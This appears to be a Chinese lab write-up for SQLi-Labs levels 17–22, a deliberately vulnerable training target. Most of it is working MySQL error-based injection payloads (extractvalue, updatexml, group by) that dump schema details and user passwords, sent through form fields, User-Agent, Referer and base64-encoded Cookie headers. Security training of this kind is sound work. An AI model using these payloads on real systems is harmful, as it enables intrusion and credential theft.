《SQLi-Labs》03. Less 17~22

文章详细介绍了SQLi-Labs中的Less-17到Less-22关卡,主要涉及update、insert类型的SQL注入,包括extractvalue、updatexml和groupby报错注入技术,以及如何通过HTTP头传递payload来探测和利用这些漏洞。内容涵盖了爆库、爆表、爆字段等技巧,并提供了示例payload。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >


title: 《SQLi-Labs》03. Less 17~22
date: 2023-05-06 23:22:47
updated: 2023-10-12 19:29:46
categories: WriteUp:Security-Lab
excerpt: update 类型注入,insert 类型注入,extractvalue 报错注入,updatexml 报错注入,group by 报错注入,http 头传递 payload。
comments: false
tags:
top_image: /images/backimg/SunsetClimbing.png



靶场部署在 VMware - Win7。

靶场地址:https://github.com/Audi-1/sqli-labs

索引

  • Less-17:update 类型注入,字符型【'】,extractvalue 报错注入,updatexml 报错注入,group by 报错注入。
  • Less-18:insert 类型注入,字符型【'】,User Agent 头传递 payload,extractvalue 报错注入,updatexml 报错注入。
  • Less-19:insert 类型注入,字符型【'】,Referer 头传递 payload,报错注入。
  • Less-20:insert 类型注入,字符型【'】,Cookie 传递 payload,报错注入。
  • Less-21:insert 类型注入,字符型【')】,Cookie 传递 payload(需 base64 编码),报错注入。
  • Less-22:insert 类型注入,字符型【"】,Cookie 传递 payload(需 base64 编码),报错注入。

Less-17

在这里插入图片描述

题解

第 17 关是密码重置页面,之前的联合注入、布尔盲注以及时间盲注都不能用了。

由于是在修改密码处有注入,所以使用 burp 在 passwd 处传递 payload,比较方便。

在这里插入图片描述

先直接看报错注入的方法。

方法一

extractvalue 报错注入。

爆数据库版本

1' and (extractvalue(1,concat(0x7e,version(),0x7e)))#
# 另一种写法:
1' and extractvalue(1,concat(0x7e,(select @@version),0x7e))#

接下来只需要将 select @@version 换成其他子句就可以进行其他的注入了。
concat()group_concat() 作用一样。

爆数据库名

1' and (extractvalue(1,concat(0x7e,database(),0x7e)))#

爆表名

1' and (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)))#

爆字段名

1' and (extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e)))#
# 另一种写法:
1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e))#

mysql 数据库不支持同一张表同时查询和更新,所以在爆同一张表的字段内容时需要加一个中间表,也就是子查询。但这样一次就只能查询一个用户名与密码,而且用户名需要猜解。

针对 MySQL 爆同一张表字段内容(需要猜解用户名 username):

1' and (extractvalue(1,concat(0x7e,(select password from (select password from users where username='admin1') b) ,0x7e)))#

在这里插入图片描述

对于其他表,可以正常爆出所有字段内容

1' and (extractvalue(1,concat(0x7e,(select group_concat(id,':',email_id) from emails),0x7e)))#

在这里插入图片描述

方法二

updatexml 报错注入,和方法一的 extractvalue 报错注入类似。

爆数据库版本

1' and (updatexml(1,concat(0x7e,version(),0x7e),1))#

爆数据库名

1' and (updatexml(1,concat(0x7e,database(),0x7e),1))#

爆表名

1' and (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1))#

爆字段名

1' and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name ='users'),0x7e),1))#

针对 MySQL 爆同一张表字段内容(需要猜解用户名 username):

1' and (updatexml(1,concat(0x7e,(select password from (select password from users where username='admin1') b),0x7e),1))#

对于其他表,可以正常爆出所有字段内容

1' and (updatexml (1,concat(0x7e,(select group_concat(id,':',email_id) from emails),0x7e),1))#

方法三

group by 报错注入。

爆数据库版本

1' and (select count(*) from information_schema.tables group by concat(version(),0x7e,floor(rand(0)*2)))#

爆数据库名

1' and (select count(*) from information_schema.tables group by concat(database(),0x7e,floor(rand(0)*2)))#

爆表名

1' and (select count(*) from information_schema.tables where table_schema=database() group by concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e,floor(rand(0)*2)))#

爆字段名

1' and (select count(*) from information_schema.columns where table_schema=database() group by concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e,floor(rand(0)*2)))#

针对 MySQL 爆同一张表字段内容(需要猜解用户名 username):

1' and (select 1 from(select count(*) from information_schema.columns where table_schema=database() group by concat(0x7e,(select password from users where username='admin1'),0x7e,floor(rand(0)*2)))a)#

总结

update 类型注入。

extractvalue 报错注入

  • EXTRACTVALUE(XML_document, XPath_string)
    • XML_document:String 格式,为 XML 文档对象的名称。
    • XPath_string:Xpath 格式的字符串,需要了解 Xpath 语法。
    • 介绍:用于从 XML_document 中提取符合 XPATH_string 值的 SQL 函数。

updatexml 报错注入

  • UPDATEXML(XML_document, XPath_string, new_value)
    • XML_document:String 格式,为 XML 文档对象的名称。
    • XPath_string:Xpath 格式的字符串,需要了解 Xpath 语法。
    • new_value:String 格式,替换查找到的符合条件的数据。
    • 介绍:改变 XML_document 中符合 XPATH_string 的值,用于在 XML 类型的数据中更新元素的值。

updatexml() 报错注入和 extractvalue() 报错注入差不多。当 XPath_string 语法报错时就会触发报错。可以通过构造恶意的 XML 数据来触发报错消息,从而获取敏感信息。

group by 报错注入可以参考:

《深入理解group by报错注入》
https://blog.youkuaiyun.com/m0_53065491/article/details/121893986

Less-18

在这里插入图片描述

题解

这题可以使用以下用户登录:用户名:Dhakkan,默认密码:dumbo。当然密码可能在 Less-17 被更改了。

这题登录成功后可以看到回显了 User Agent 头。

在这里插入图片描述

看了一下源码,这题属于 insert 类型的注入,后端将 User Agent 的值插入了数据库。

且插入语句需要三个参数。因为【#】后面都被注释了,所以构造 payload 时也需要有三个参数。

在这里插入图片描述

依旧使用报错注入,通过 User Agent 头传递 payload。

在这里插入图片描述

构造数据简单判断字符类型。页面显示正常则可以将其他参数换成 sql 语句进行报错注入。

1',2,3)#

在这里插入图片描述

可以使用 extractvalue 报错注入与 updatexml 报错注入,这里以 updatexml 报错注入为例。

爆数据库版本

1', 2, (updatexml(1,concat(0x7e,version(),0x7e),1)))#

爆数据库名

1', 2, (updatexml(1,concat(0x7e,database(),0x7e),1)))#

爆表名

1',2, (updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)))#

爆字段名

1',2, (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name ='users'),0x7e),1)))#

爆字段内容

1', 2, updatexml(1,concat(0x7e,(select group_concat(username,':',password) from users),0x7e),1))#

在这里插入图片描述

注意爆出的数据长度有限。

总结

insert 类型注入。

User Agent 头传递 payload。

详见 Less-17:

  • extractvalue 报错注入
  • updatexml 报错注入

Less-19

题解

这题可以使用以下用户登录:用户名:Dhakkan,默认密码:dumbo。当然密码可能在 Less-17 被更改了。

当输入正确的账户密码时 referer 字段内容会显示在页面。

在这里插入图片描述

与 Less-18 类似,插入的 sql 语句有两个参数,一个是 referfer,一个是 ip 地址。

爆字段内容

1', updatexml(1,concat(0x7e,(select group_concat(username,':',password) from users),0x7e),1))#

其他语句参考 Less-18。

Less-20

题解

这题可以使用以下用户登录:用户名:Dhakkan,默认密码:dumbo。当然密码可能在 Less-17 被更改了。

当输入正确的账户密码时 Cookie 字段内容会显示在页面。

在这里插入图片描述

通过 Cookie 字段传递 payload。理解了 Less-18 这题就会做了,原理和 Less-18 一样。

爆字段内容

' and updatexml(1,concat(0x7e,(select group_concat(username,":",password) from users),0x7e),1)#

在这里插入图片描述

其他语句参考 Less-18。

Less-21

题解

与 Less-20 很像,只不过 Cookie 经过了 base64 编码而已。且是【')】字符型。

在这里插入图片描述

将注入语句 base64 编码后传递即可。

爆字段内容

') and updatexml(1,concat(0x7e,(select group_concat(username,":",password) from users),0x7e),1)#

# base64 加密 #
JykgYW5kIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLChzZWxlY3QgZ3JvdXBfY29uY2F0KHVzZXJuYW1lLCI6IixwYXNzd29yZCkgZnJvbSB1c2VycyksMHg3ZSksMSkj

在这里插入图片描述

其他语句参考 Less-18。

Less-22

题解

与 Less-21 并没有太大区别。【"】字符型。

将注入语句 base64 编码后传递即可。

爆字段内容

" and updatexml(1,concat(0x7e,(select group_concat(username,':',password) from users),0x7e),1)#

# base64 加密 #
IiBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBncm91cF9jb25jYXQodXNlcm5hbWUsJzonLHBhc3N3b3JkKSBmcm9tIHVzZXJzKSwweDdlKSwxKSM=

在这里插入图片描述

其他语句参考 Less-18。


半烟半雨溪桥畔,渔翁醉着无人唤。

——《菩萨蛮》(宋)黄庭坚

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值